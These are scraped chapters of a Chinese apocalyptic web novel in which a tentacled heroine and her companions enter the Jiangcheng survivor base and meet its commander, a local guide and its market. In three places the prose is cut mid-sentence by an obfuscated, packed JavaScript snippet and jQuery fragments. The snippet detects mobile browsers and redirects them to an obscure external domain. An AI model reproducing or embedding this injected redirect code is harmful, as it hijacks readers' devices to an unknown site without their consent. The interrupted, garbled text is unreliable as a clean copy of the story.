妞妞嘤嘤哼唧了几声。 她将妞妞夹在腋下,刚想凑近些,仔细看看水里有没有鱼,身后临时营地的方向却突然传来了一声短促的惊叫—— 虽然距离很远,声音传到这里已有些模糊不清,但毫无疑问,那是杜蕊的声音! 黎望舒神色一凛,再也顾不上什么溪流,转身朝营地奔去。 60. 第 60 章 黎望舒飞快地往回赶。 离临时营地还有一段距离,她就闻到了一股浓郁的血腥味。 她心中一沉,握紧了怀中妞妞的嘴筒子。妞妞有些不适,但仿佛意识到情况危急,只轻轻地在她怀中挣扎了一下。 塞拉斯究竟在做什么?! 身下触手铺开、拉长,犹如疯长的杂草,无声又飞速向营地的方向蔓延过去,她面色冷凝,转过一丛纠缠生长着的树丛,正要纠集触手向那边扑过去,却在看清了眼前景象之时骤然停下脚步。 短暂的怔愣后,她长长地舒了口气。 伙伴们一个不落地站在一起,手脚健全,看起来都没有受伤,围着地上的黑色小山包吵吵嚷嚷,塞拉斯远远地站在一旁,看见她回来,笑着向她低头致意。 “望舒,你可算回来了!” 杜蕊指向地上的黑色小山包,兴奋地说:“快看这是什么!” 黎望舒将妞妞放下,走近了些,细细打量那具小山包似的黑色身体——尖利弯曲的獠牙,粗硬直立的毛发,身体长得像个圆筒,脖子上的肉层层叠叠地堆在一起,生得非常肥壮。 “这是野猪?你杀的?” 她向郁仪确认——这头野猪的腹部被利器剖开,内脏连同血液流得一地都是,远处还有些拖拽的血痕,能做到这种事的唯有郁仪。 果然,他无言地点了点头。 “它在附近游荡,见了我,直接撞过来了,这东西不能吃。” 预判了杜蕊的提问,郁仪斩钉截铁地说:“这是头公野猪,身体里寄生虫很多,就算烤熟了也处理不掉,肉质和味道都很差。” “但这么一大堆肉,扔掉了多可惜啊。”杜蕊心痛地说。 “吃了之后生病更麻烦。”闻风藻说,“想想现在的医疗条件。” 将这一大坨野猪尸体移得远了些,郁仪从黎望舒口中得知附近有条小溪后,从后备箱里清出一个塑料箱子,提着剑又钻进了林子中。 黎望舒猜到了他要去做什么——果然,没过多久,他就带着半箱大小不一的鲜鱼回来了。 他熟练地将鱼全部处理干净,简单抹了些调味料,用树枝串起,架在火上慢慢烤熟。边上几人如同嗷嗷待哺的婴儿似的,眼巴巴地在火堆边上等着。 鱼肉一入口,杜蕊就将野猪肉忘得一干二净了,对鲜美的鱼肉赞不绝口:“哇塞,你这手艺真绝了!” 黎望舒接过郁仪递来的烤鱼,在他期待的目光中咬了一口——鱼皮被烤得焦脆,里头的鱼肉口感柔嫩,盐粒激起的鲜香在味蕾上爆开,让人忍不住一口接着一口地咬下去。 “特别好吃。”她竖起拇指,含糊不清地说。 “太好了。”郁仪黑眸亮晶晶的,小狗似的,冲她露出了柔软的笑容,“那我以后经常做给你吃。” ……以后。 她捏着树枝的手微微一紧。 在与塞拉斯的交谈中,她隐约发现了一件事——自己的寿命似乎比普通人类长得多。塞拉斯与她至少有几百岁了,那位女皇的寿命更加漫长,似乎已经活了几千年之久……但郁仪只是个普通人类,寿数不过百年。 郁仪的“以后”对她来说,也许只是极为短暂的一段生命,身边的伙伴们也一样,没人能够陪她走到最后。在此后的漫长时光里,她将一个人品味失去众多亲友的孤独。 想到这里,她突然没了食欲。 “怎么了?”郁仪紧张地问,“盐放多了吗?” “……没事。” 黎望舒抬起手,又狠狠地咬了一大口烤鱼,焦褐表皮在口中微微泛苦。 想再多也没用,该来的终究会来。无论如何,她永远不会为自己的选择感到后悔。 …… 几人一路走走停停,遇到风景就停下来玩耍片刻,郁仪不时猎回些野味给大家加餐,日子过得还算悠闲。 天气逐渐变得暖和,随着他们一点点接近江城,杜蕊的话明显变少了,经常一言不发地望着车窗外发愣,十分反常。 “可能是近乡情怯吧,一想到江城就有些坐不住,我在那里生活了十八年呢。” 面对黎望舒的关心,杜蕊没精打采地说:“还有我爸妈,虽然很讨厌他们……但我希望他们都还活着。我妹妹太小了,今年刚上小学六年级,没人照顾的话她活不下去的。” 在杜蕊愈发紧张的情绪里,八天过后,一行人到达了江城。 他们先去了杜蕊位于市中心附近的家。 老旧小区格格不入地嵌在一圈高楼大厦之中,黎望舒跟着熟门熟路的杜蕊爬上三楼,发现她家的门锁早就被撬坏了,家中被翻箱倒柜地搜索了一通,根本看不出这家人临走时到底是什么样的状态,也没能找到留给杜蕊的字条或留言。 “至少家里没发现血迹。”黎望舒宽慰她。 “你看,我以前和妹妹一起睡在这个房间。”杜蕊推开角落里的一道门,侧身向她展示,“我那张床已经被搬走了,现在空间大了不少。” 黎望舒探头看了一眼,空间逼仄的背阴小房间里摆设简单,单人床、小衣柜、学习桌,除此以外别无他物,床头歪斜地掉着一个老旧的熊猫玩偶,墙皮发潮剥落,空气中飘散着淡淡的霉味。 “好小的房间。”她诚实地说出了感想。 “有地方住就不错啦。就这样的条件,还要天天被耳提面命,多做家务还父母恩呢。” 杜蕊叹着气说:“我一直觉得对不起妹妹——我逃出来了,但她被看得更严了。我一直想把她接到身边住,但她还得上学,而且工作了才发现,我的工资养活自己都困难……” “算了,后悔再多也没用。”她捡起熊猫玩偶,拍了拍上面的灰尘,“我们走吧,要是真的能在基地里找到她,她见了这个一定会很高兴的。” 一行人重新上车,塞拉斯依旧蹲在车顶,连霏自觉地坐上了驾驶座,循着记忆向郊区的江城基地驶去。 …… “哇……” 面前立着一道深灰的高大水泥墙壁,墙壁顶上拉着一圈锋利的铁丝网。杜蕊仰头仰得脖子都酸了,不由自主地发出惊叹:“我只在动画片里见过这么高的墙。” “据说这里原先是全封闭的军事基地,特别安全,我上次来的时候墙还没这么高。”连霏也有些惊讶,“顶上的水泥颜色还很新,应该是最近加固上去的。” 黎望舒左右望了两圈。 虽然看不到基地内部的样子,但仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012158|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凭外部的状况,她能肯定,江城基地比他们之前遇到的两个基地正规得多——高大坚固的外墙,大门边上站着两排全副武装的士兵,精神抖擞,墙壁外围还有十几个穿着破旧的劳工正在修缮铁丝缠成的栅栏,虽然看起来都有些瘦削,但精气神还算不错,就算身处基地外侧,也并没有表现出多少恐慌。 她从所见信息中简单判断出,这是个安全且有秩序的基地,领导者不算太黑心,给劳工开出的工资应该不错,至少还能让他们心存希望。 基地门口的人按性别排成两行队列,最前头似乎在进行什么检查,黎望舒朝那边扫了一眼,偏头问连霏:“基地有进出条件吗?” “我走的时候这边还很混乱,大部分人经过搜身、上缴武器之后就能进去。”连霏回答,“现在怎么样就不清楚了。” 黎望舒低头看了眼自己的长裙——经过一路的磨损,它已经斑驳得看不出原先的颜色了,上面大片的暗红血色十分显眼。 她有些担心自己的触手……末日降临不到一个月,不知道这里的人对吞噬者接受程度如何。 她曾经向塞拉斯请教过,如何将触手变回人身,但对方表示这是用精神力完成的变化,她的精神力被完全封印,就算学会了方法也无法实现,她只好放弃了这个想法。 尽管她已经完全习惯了用触手行动,甚至觉得这些触手操控起来比人腿更方便,但遇到这种不得不和生人打交道的场合,还是人腿更加方便。 显然,队友们也有同样的忧虑,纷纷向她的下半身投来视线。 顶着几人担忧的目光,黎望舒淡定地说:“别担心,就算被围住了,凭我们几个的本事也可以轻松地全身而退——小闻先开能力,所有人睡得差不多之后,我卷着你们拔腿就跑。” 闻风藻脸青了:“……希望不要走到那个地步。” 一番讨论过后,他们决定将杜蕊和塞拉斯留在车上——万一先去的几人真的与基地撕破了脸,还可以由塞拉斯带着杜蕊混进去找她的妹妹。 四人一狗下了车,分别排在了两行队列的末尾。 黎望舒大致打量了几眼队列中的人——他们有的提着一大包散发着血腥气的东西,身上带着些小伤口,神情轻松;也有些人手中没有东西,神情萎靡,不时唉声叹气。 前头的动作很快,队列快速地向前推进,快要轮到黎望舒的时候,她身旁突然掠过一阵冷风——两个裹着长披风的年轻女人快步掠过队列,在前方的检查处出示了口袋里的东西后,没有经过搜身,迅速通过了检查。 ……特权阶级? 黎望舒刚生出疑惑,就听排在她前方两手空空的中年女人轻轻嗤了一声,似乎颇为不服气。 心念微转,她从口袋里摸出两颗糖果,拍了拍前方女人的肩膀。 女人略有些警惕地回过头,黎望舒将糖果塞进对方手里,客气地问:“这位同志,请问刚刚过去的是什么人啊,为什么她们不用被搜身?” 抓紧救命稻草似的,女人立刻攥紧了手中的糖球,态度缓和了一些。她隐蔽地看了黎望舒一眼,目光落到她脚边皮毛油光水滑的妞妞身上,神色又变得古怪。 这年头还有闲心养狗的,不是大佬就是缺心眼。 61. 第 61 章 “你是新来的?” 中年女人小心地将糖果放入口袋,态度殷勤了不少。 “是,我是从隔壁市来的,想去基地里找妹妹。”黎望舒笑着说。 “在这里寻人很简单,只要你妹妹还活着,一定能找到,我和我女儿就是这样团聚的。”中年女人一副过来人的样子,左右看了一眼,凑过来压低声音道:“但要注意一点——刚刚那种穿黑披风的人千万不要招惹,也不要靠近,他们是怪物,身上长触手的!” “……怪物?”黎望舒面色不改,“怪物怎么能进基地呢?我听说这里非常安全。” “谁知道顶上的大人物们在想些什么,不仅把怪物放进基地里,甚至还给他们特权,进出不用检查,水电吃喝也不要钱似的往那边供。” 中年女人的脸上盛满忧虑,“这里的生活还算安稳,我只盼那些怪物别惹出什么乱子,我可没能力再去找下一个基地了。” “你为什么这么讨厌那些黑袍人?”黎望舒问,“他们对你做过什么吗?” “倒是还没有。”中年女人摇了摇头,“但和怪物长同样触手的人能是什么好东西?” 她有什么顾虑似的,又谨慎地扫了眼周围,将声音压得更低了:“基地明面上禁止以强欺弱,但那些人用触手欺负人的样子我也见过好几回了,旁边的警卫不敢管,都睁一只眼闭一只眼呢。那些触手人诡异得很,个个都是一副怪力,我劝你离他们远些,免得惹上麻烦。” “原来是这样。”黎望舒点头,又往她手里塞了一颗小糖果,“多谢。” “这……”中年女人下意识攥紧了糖果,又受之有愧似的,犹豫片刻后,咬牙道:“小姑娘,你出手太阔绰了,这样的糖球,在集市上能换两三斤肉干呢。” “肉干?什么样的肉干?”黎望舒眼皮一跳。 “当然是怪物肉干,那东西又咸又腥,只能用来填肚子,还不知道吃下去会不会有什么坏处……”中年女人叹了口气,“你这孩子,怎么什么都不知道,一会儿进去了怕是要被狠狠地宰上一笔。” ……果然,这里也吃怪物肉。 “没事,我心里有数。”黎望舒回答。 “你这看着不像有数的样子啊……”中年女人视线向下一撇,看了眼妞妞,无奈地说:“这样吧,等下我先带你在基地里逛一圈,了解下这里基本的物价,这三颗糖球我也能收得安稳些。还有啊姑娘,你这条狗可要看好了,基地里有些人太久没吃正经肉,见了它肯定会动歪心思。” “汪呜……”妞妞立刻夹起尾巴,委屈地贴到了连霏腿边。 “没事没事,姐姐不会让坏人有机可乘的。”连霏蹲下来哄它。 “哎呀,两位姑娘,你们是一起的?” “对,我们是姐妹俩。”黎望舒张口就来,淡定地向连霏使了个眼色,“我叫黎望舒,她是我姐姐连霏……对吧?” “嗯、嗯!对,我是姐姐。”连霏脸颊微红,默默将妞妞抱紧了,“您好。” “我叫刘梅,女儿和你们两个差不多大,看见你们两个,我就想到她了。” 中年女人彻底放下戒备,打开了话匣子,“今天我没猎到怪物,本来又得饿一顿,幸好遇上你们了,等会儿我就把糖拿去换掉。” “您出去杀怪物啦?”连霏有些惊讶,“您的女儿呢?” “她本来在基地里的卫生所做护士,和我团聚之后,又换了工作,跑到基地外边去修篱笆了。”谈起女儿,刘梅耷拉着稀疏的眉毛,指了指那几个埋头修理铁丝网的工人,“你们看,那个戴橙黄头盔的就是我女儿。” 黎望舒朝那边看了一眼——每个工人都戴着橙黄色的圆头盔,穿着差不多的破旧衣衫,她甚至分辨不出工人的性别,更别提看出哪个是刘梅的女儿了。 “在基地里做护士安全,但工资也少,为了养我这张老嘴,她才要出去干苦活累活,就算是这样,分到的食物也只够我们两个勉强吃饱。” 说着,刘梅眼角闪过泪光,“基地里青壮年太多,我这样的老婆子根本没有活可干……没办法,只好出去碰碰运气,好的话能打点怪物回来换些肉干,坏的话直接死在外头,左右都能给她减轻些负担。” “您的女儿肯定不是这样想的!”连霏着急地说:“在末世里能和家人团聚,这是多少人求都求不来的幸事,您可千万别做傻事。” “我知道,但看着她每天一身泥灰地回来,累得倒头就睡,我心里太难受了。”刘梅擦去眼泪,苦笑一声,“瞧我,太久没和人说话了,一张嘴就想倒苦水。快轮到咱们了,等会儿进了基地,我再慢慢给你们介绍。” “这个阿姨挺不容易的。”刘梅离开后,连霏凑到黎望舒耳边轻声说,“要不等会儿我们再给她塞几颗糖?” “你看清她女儿长什么样了吗?”黎望舒问。 “没有,我分不出来……”连霏摇头,明白了她的意思,“你怀疑她?” “防人之心不可无。”黎望舒看着刘梅走向基地门前的登记桌。 “姓名。” 坐在桌子后的年轻登记员戴着红色鸭舌帽,抬头扫了刘梅一眼。 “刘梅,今天早上十点左右出来的……”刘梅局促地搓了搓手,报出一串信息。 登记员将本子往前翻了几页,确认无误后,挥挥手放她进去了,接着头也不抬地说:“下一个。” 刘梅并未走远,让出路后就在一旁等待,看来是铁了心要做她们两个的导游。 “你带着妞妞离远些。”黎望舒微微侧头,“我的身份瞒不住,可能会起冲突,我担心他们误伤了你。” “啊?”连霏一惊,刚想细问,黎望舒却已经迈开了步子。 黎望舒在木桌子前站定,戴红鸭舌帽的登记员抬头看了她一眼,“生面孔,新来的?” “对。”黎望舒点头,“需要交入场费吗?” “不用,但得去那边做个身体检查。”登记员指向旁边的白色帘子,“要把衣服全脱掉。” “为什么?”黎望舒问,“必须要做吗?” “为了筛出身上长触手的怪物。”登记员有些不耐烦,“上面是这样规定的,进基地的所有人都得经过检查。” 果然,要保证基地的安全,森严的规矩是必要的,这样的情况她也预料到了。 黎望舒看了眼对面的队列——那边排得比这边更慢,郁仪和闻风藻位于队列中段,都如临大敌地望着这边——向他们递了个稍安勿躁的眼神,她接着问:“你觉得长着触手的就是怪物?你们会怎样对待被筛选出来的人?” “……你什么意思。” 登记员一下子站了起来,目光在她的拖地长裙上停留一瞬,警惕地朝后退了两步。大门边上的警卫注意到了这边的骚动,交换了一个眼神后,端着枪无言地靠了过来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017080|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我的意思是,如果体检仅仅是为了找出触手,那么可以免去这一步。” 说着,黎望舒略微提起裙摆,微笑着说:“别害怕,我长着触手,但依然是人类。” 众人顺着她的动作看过去——斑驳的裙摆之下,赫然露出了大团大团蠕动扭曲的青黑色触手。 她的触手迟早会被发现,与其被动地跟着对方的安排走,不如主动亮明身份,趁机观察身边人的反应——尽管她已经在努力释放善意,但得来的结果依旧不尽如人意。 触手露出的那一刹那,周围的气氛明显发生了变化——登记员脸白了,紧紧捂住嘴,强忍着没叫出声来;有个年轻警卫应激地抬起了枪口,又被身边的队友按了下去,后方一阵骚动,大部分人都脱离了队列跑远了,几个胆大的趁机上前几步,抢占了队列前头的位置。 黎望舒注意到,警卫队中分出了两个人,迅速向基地内跑去,估计是要向上头通风报信。 刘梅同样面色煞白,后退了两步,看起来像是要转头就跑,但不知为何又生生止住了脚步,留在原地瞪大双眼望着这边。 见警卫没有立刻举枪,黎望舒提着的心微微放下了一点。她坦然地接受周围人的打量,朗声道:“我没有恶意,只是想进去找一个人。” 无人应答。 几乎所有人都用戒备的视线紧盯着她,几个警卫虽然没抬起枪口,但手指都虚扣在扳机上,似乎只要她做出了可疑的举动,他们就会立刻开枪将她打成筛子。 这样僵持下去不是办法。 黎望舒刚想出声打破僵局,身后突然传来一阵急匆匆的脚步声——她转头一看,从基地内侧的墙后齐刷刷又转出了两排警卫,最前头是个不苟言笑的中年人,寸头利落,肤色古铜,穿着一身板正的军装。 “方将军!” 登记员从地上爬了起来,找到了主心骨似的,小步跑向那个中年人,回头指了指黎望舒,“她……” “情况我大概了解。” 被称为方将军的中年人抬手止住了她的话,将严肃的目光投向门边的警卫,大喝一声:“都回到各自的岗位去!” “是!”警卫们齐齐应声,飞快地整队归位,带红鸭舌帽的登记员也跟着应声,坐回了小木桌后头。 很快,登记处就回到了原本秩序井然的样子,门口重新排起了长长的队列,除去偶尔两三个抬头偷瞟的人,几乎看不出这里刚刚经历了一场骚乱。 惊人的号召力与执行力……看来这个方将军就是江城基地的老大。 黎望舒依旧维持着提起裙摆的姿势,朝方将军露出一个和善的微笑。 方将军目光扫过她裙下的触手,面色稍稍缓和了一些,清了清嗓子:“你好,我是方镇岳,江城基地目前在我的管辖之下。江城基地接纳所有守序的同胞,只要接受我们的规则,保证不随意伤人,你就可以无限制地出入基地——无论你的目的是寻人还是安家,我们都会尽力协助。” 听得出来,这位方将军已经有意地柔化了自己的语气,但常年居于上位的习惯无法立刻改变,让他的语气听起来古怪又生硬。 黎望舒赞同道:“当然,我本来就无意引起争端。” 方镇岳满意地点了点头,大手一挥,身后立刻有人抬出了一张厚实的铁板,小心翼翼地放在了黎望舒面前。 “?”没领会到他的意思,黎望舒疑惑地歪了歪头。 62. 第 62 章 “别误会,我只是想试试你的实力,你能把这张铁板折弯吗?” 方镇岳指着铁板问。 “可以。” 为了不让周围的人感受到威胁,黎望舒贴心地放慢了伸出触手的速度。蓝黑触手在铁板上缠绕、收缩,铁板如同一块掺了水的豆腐,在触手的摧残下被弯折、压扁,最后几乎被揉成了一团皱皱巴巴的铁球,整个过程顺滑得不可思议。 眼睁睁看着面前的铁板没过几秒就变成了铁球,方镇岳没缓过神来。 黎望舒的触手撤去后,他上前两步,伸手捏了捏坚硬的铁板,又试着将它重新掰开,但完全变形的铁板在他的手下纹丝不动,丝毫没了刚才的顺滑劲儿。 “虽然知道长了触手的人力气都大,但像你这样毫不费力的我还是第一次见。” 方镇岳扶着铁球,面露赞赏,“小姑娘,听说你来基地是为了找人?所有出入过基地的人我们都有记录,只要对方没报假名,很快就能帮你找到。考不考虑留下来住?我可以为你提供最高标准的待遇,宿舍水电都通,你只需要每月上缴定量的怪物肉、在基地面临危机的时候出手帮忙就可以。” “我会考虑的。”见他还算好说话,黎望舒提出要求,“我还有几个同伴在外面排队,能不能也让他们免除检查?” 方镇岳说:“可以,把他们领来让我看看。” 很快,人到齐了。方镇岳的目光从他们身上一一扫过,最后停在了闻风藻身上。 “小伙子,方便告诉我你的超能力是什么吗?”他亲切地拍了下闻风藻的脊背,但没控制好手劲儿,差点将闻风藻拍得扑在地上。 闻风藻一惊,下意识看向黎望舒,见后者冲他微微一点头,他才开口:“……是催眠。” “能在这里演示一下吗?”方镇岳问。 “可以,但我需要一个目标。”经过一路的锻炼,现在闻风藻的能力不再局限于范围攻击,可以锁定某个特定目标进行发动。 “谁愿意来做靶子,明天我给他加餐!” 方镇岳朝身后喊了一嗓子,警卫队中立刻走出了一个年轻人,站在了闻风藻面前。 闻风藻深吸一口气,瞳孔中转起蓝光,直直地盯向面前的年轻警卫——下一个瞬间,警卫两眼一翻,扑通一声仰倒在地,四仰八叉地打起了呼噜。 “他会睡多久?”吩咐他的队友将他抬回宿舍后,方镇岳问。 “十几个小时。”闻风藻看了眼天色,“大概明天天亮的时候会醒过来。” 晚班这才刚开始,又能逃一天班,之后还能吃顿好的……后面的两排警卫纷纷向被抬走的警卫投去羡慕的眼神。 “真不错,小伙子,你这能力很有用。”方镇岳又拍了下闻风藻,见他露出吃痛的表情,古铜色的脸上露出了满意的笑,“就是身板太脆了,有空要好好练一练,向黎姑娘看齐。” “……好的。”闻风藻忍气吞声地说。 方镇岳似乎颇为忙碌,看着他们在一旁的登记处留好信息,又交代身旁人好好招待他们之后,就匆匆带着警卫离开了,只留下了一个啤酒肚中年人作为他们的向导。 “你们好,我叫曲明德。” 啤酒肚中年人搓着手上前打招呼,他身子圆,脑袋也圆,脸上堆了些肉,笑起来的时候两条细眼睛都被挤进了□□中,“我先带你们在基地逛一圈吧,有什么想了解的,都可以问我,千万别客气。” “谢谢,但不用了。”黎望舒婉拒,指向还在旁边等着的刘梅,“我们已经有向导了。” 曲明德谄媚的表情僵在脸上,掀开眼皮,转头上下打量了一番刘梅破旧的衣服和凌乱的斑白头发,嘴角微不可见地向下撇了一点。 刘梅局促不安地站在原地,见曲明德朝这边看过来,哭丧着脸朝他鞠了几个躬。 “朋友们,不是我说,这样的……平民,对基地的了解怎么可能有我多呢。” 没有理会刘梅,曲明德重新堆出笑容,苦口婆心地说:“单说我们留给各位的好宿舍,她能找到吗?还有寻人的地方,有人带着才好办事啊,不瞒各位说,我在基地里有些地位,各位还是跟我走吧。” 黎望舒笑容淡下,不接他的话。 这人态度太过殷勤,油滑的腔调让她心生不喜。反正他们睡惯了野外,基地里的宿舍并不是非住不可,方镇岳也承诺过会帮他们找人,她实在不想应付这种踩低捧高的油条。 曲明德还想说什么,塞拉斯笑着截住了他的话:“这位先生,我们已经说过不需要向导了,你听不懂吗?” 他态度得体,语气温和,但话中的意思直白得可怕,没给对方留下一点余地。 曲明德先是被塞拉斯流利的中文惊到,然后才反应过来他说了什么,顿时气得七窍生烟,但又不想得罪边上的黎望舒,只好将情绪压下,脸色青一阵红一阵。 他在原地憋了半天的气,最后实在忍不下去,吩咐手下带他们去找宿舍后,一个人怒气冲冲地离开了,走之前狠狠瞪了一眼塞拉斯。 塞拉斯泰然地朝他微笑,丝毫不把他满含狠意的视线放在眼里。 眼看曲明德又被气得跳脚,黎望舒默默朝塞拉斯竖起大拇指:“真会气人。” “我的荣幸。”塞拉斯受宠若惊,顿时提起了兴致,“为您扫清污秽也是我的责任,需要我去修理他一顿吗?” “……不用。”黎望舒满头黑线,“他没做什么伤天害理的事。” 曲明德留下的小弟跟在他们身后,一脸惊恐地听着前面的闲谈。 他没听错吧,这群新来的打算修理谁?? 那边,刘梅也忐忑不安地开口:“刚刚那位可是基地的二把手。他脾气不好,你们得罪了他,多半要被报复的。” “没事,我们有数。”黎望舒笑着说,“不会牵连到你吧?” “应该不会,我又没对他不敬……但也不好说。”被她这么一说,刘梅又开始担忧了。 “他如果为难你,就来找我,我有的是办法让他安分下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023174|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”黎望舒简单安慰她两句,又问她:“我还以为你会直接跑掉,为什么又改变主意了?” “我哪里敢跑啊,真名都告诉您了,您找我就是动动嘴的事。”说起这件事,刘梅又开始惶恐不安,“先前是我乱说话,您大人有大量,有气都冲着我来,别和我女儿计较……” “行了,我没生气,快走吧。”黎望舒催促,“劳烦你带我们在基地里转一圈,结束之后我再给你加点报酬。” 看刘梅这副胆战心惊的样子,应该真的有个女儿,她没兴趣为难一个真心替女儿着想的母亲。 “不用,不用多加,我哪里好意思拿!” 刘梅连连摆手,又小心地抬眼观察她的脸色,见她面色平静,似乎真的没有生气,这才放下心来,“那我先带你们去集市逛一逛,离这里很近,走两步就到了。” “这里还有集市啊。”杜蕊很感兴趣。 “其实就是些路边的小摊小贩,大多数东西各位应该都看不上。”刘梅边走边解释,“基地里有专门的地方回收物资,但因为需要二次贩卖,给出的收购价比较低。如果有时间,去旁边的集市里摆摊叫卖,运气好就能多换些肉干回来。” “真没想到,这里的人居然也吃怪物肉。”杜蕊叹了口气,“第一个下口的人真是勇士。” “没办法,缺粮食呀,大家都饿疯了,没吃人就不错了。”刘梅说,“原先的钱啊金啊都不管用了,现在好保存的食物才是硬通货,大家杀了怪物,第一时间就会带着尸体回来换成肉干。” 没走几步路,黎望舒就看到了刘梅口中的“集市”——一片水泥地上,零零散散聚着十几个没精打采的小贩,袋装零食、罐头、长柄改装西瓜刀、手编竹篓……卖什么的都有,中间勉强留出了一条仅够一人通过的小路。 小贩们的质量参差不齐,好一点的还有些仪式感,在地上铺一张脏兮兮的床单,将售卖的东西整齐摆在上面,又在旁边的纸壳子上写好自己想要交换的东西,敷衍一点的干脆连床单也不铺,所有商品都散落在脚边,边上也没写价钱,让人怀疑是不是真的诚心要卖。 见了这种萧条景象,刘梅也有些尴尬,连忙解释:“平时这里人更多,也更热闹些,现在快天黑大家都收摊了。” 黎望舒无言点头。 几人小心地从摊位之间的缝隙中穿行,杜蕊瞥见了一个奇怪的摊位,忍不住好奇,压低声音去问刘梅:“刘姨,那是卖什么的呀?” 刘梅顺着她指的方向看去——角落里孤零零抱膝坐着一个少年,饿得两颊凹陷、皮肤蜡黄,勉强能看出以前清秀的样子。他面前什么商品也没有,只立着一张棕色的纸壳子,上面歪歪扭扭地写着“两斤”。 刘梅顿时有些尴尬,支支吾吾地说不明白,反而将杜蕊的好奇心勾得更盛了。 “那是卖身的。” 曲明德留下的小弟低声解释:“‘两斤’的意思就是,两斤怪物肉就能把他买下。” “……啊??”杜蕊瞳孔地震。 63. 第 63 章 “我看他有手有脚的,怎么会沦落到不得不卖身的地步啊……” 走出一段距离后,杜蕊仍然对那个清秀少年念念不忘。 “基地里的工作岗位就那么多,僧多肉少,抢不到就只能出去杀怪物。但杀怪物也没那么容易,就算真的杀掉了,得到的战利品很可能会在回来的路上被抢走……看他那个弱不禁风的样子,肯定抢不过其他的猎手,我跟上曲哥之前过的也是那种日子。” 小弟似乎与清秀少年同病相怜,絮絮叨叨地说了一大堆,回过神来才发现周围气氛沉重,连忙试图用玩笑话挽回:“……不过嘛,他那样的姿色好歹还有最后一条路可走,饿不死的。像我这样的,送上门都没人要,更别提拿自己换肉干了。” “你这话说得,难不成认为卖身是什么好事?”杜蕊愤怒地瞪圆了眼睛,“真的走到那一步,我觉得还不如去死,你把别人的尊严和自己的尊严都放在哪儿了!” “哎,我不是那个意思……”小弟心虚地挠了挠后脑勺。 杜蕊瞪着眼睛深呼吸几下,突然嘴角一撇,眼圈红了。她吸了吸鼻子,带着哭腔道歉:“对不起,是我太激动了。寻人的地方在哪里?我想快点找到我妹妹。” “就在前面了,马上就到。”刘梅心疼地摸着她的背,给她顺气,“别伤心啊,其实咱们基地里不兴这种事,你妹妹一定没事的。” 杜蕊无言点头,加快了脚步。 穿过摊贩中间那条细窄的小路,直直地走到尽头,旁边的红色铁门里就是江城基地的物资交换处,门口的公告栏是用于发布或接取任务的地方,上面有官方的任务,也有私人自费发布的公告,偶尔还会出现一些较为特殊的工作。 “东北角养殖场现招一名喂鸡工,年龄不限,懂得养鸡、孵化小鸡者优先……” 连霏读出了公告栏上的一行字,刘梅闻声,一下子凑了过来,“哪儿呢?哪里在招人?” 连霏指向那张红纸告示,刘梅贴近了些,仔细读完了上面的字,激动地拍了下膝盖,“哎哟,这是刚贴的告示,我以前在农村养过鸡,说不定这回能把我选上!” “那您快去吧,我们还有他呢。”杜蕊指向一旁的小弟。 “不急,做事得有始有终,而且上面写了,明天早上才能去面试。”刘梅喜上眉梢,“自从遇见了你们,好事就一件接着一件,说明你们福气多,多到让我也沾上了!” 一行人进了红色铁门,里头扎着马尾辫的年轻女孩立刻抬起头,笑着问:“是黎姑娘吗?” “我姓黎。”黎望舒应声。 “方将军遣人来打过招呼了,您是要寻人?”女孩从柜台底下搬出了一摞名簿,又掏出纸笔,自信地说:“将要找的人的姓名和年龄都写在这里,只要他在基地里,我今天内就能把人找出来。” 杜蕊立刻上前拿起笔,担心马尾辫女孩记不住,一边写一边说:“我要找一个叫杜茉的十一岁小女孩,她爸爸叫杜为民,妈妈叫萧荣,还有个叫杜昊轩的弟弟……” 马尾辫女孩立刻翻开名簿,边点头边应声,“好嘞,我这就开始找,找到之后,我会遣人去黎姑娘的宿舍里告知您的。” “……那就麻烦您了。”离开前,杜蕊又忍不住回头看了一眼。 “接下来想去哪?基地里好玩的地方不多……要不我带你们去养殖场转一转吧。”刘梅殷勤地说,“那边有鸡有鸭,还有小兔子,特别可爱。” 黎望舒先看了眼杜蕊——她直直地低头盯着地面,一副魂不守舍的样子,完全没在听人说话。她现在一心想着妹妹,应该没有玩耍的心思。 “今天就到这里吧,辛苦你了。” 黎望舒将约定好的糖球付给刘梅。 见她态度坚决,刘梅也没有过多推辞,收下了糖球后,她又热情地留下了自己的居住地址,“虽说我能做到的事不多,但只要各位有需要,我一定竭尽全力!” 与刘梅分别后,由曲明德小弟带路,一行人来到了位于基地西南角的宿舍,他们分到了二楼的两个房间,正好是相邻的。 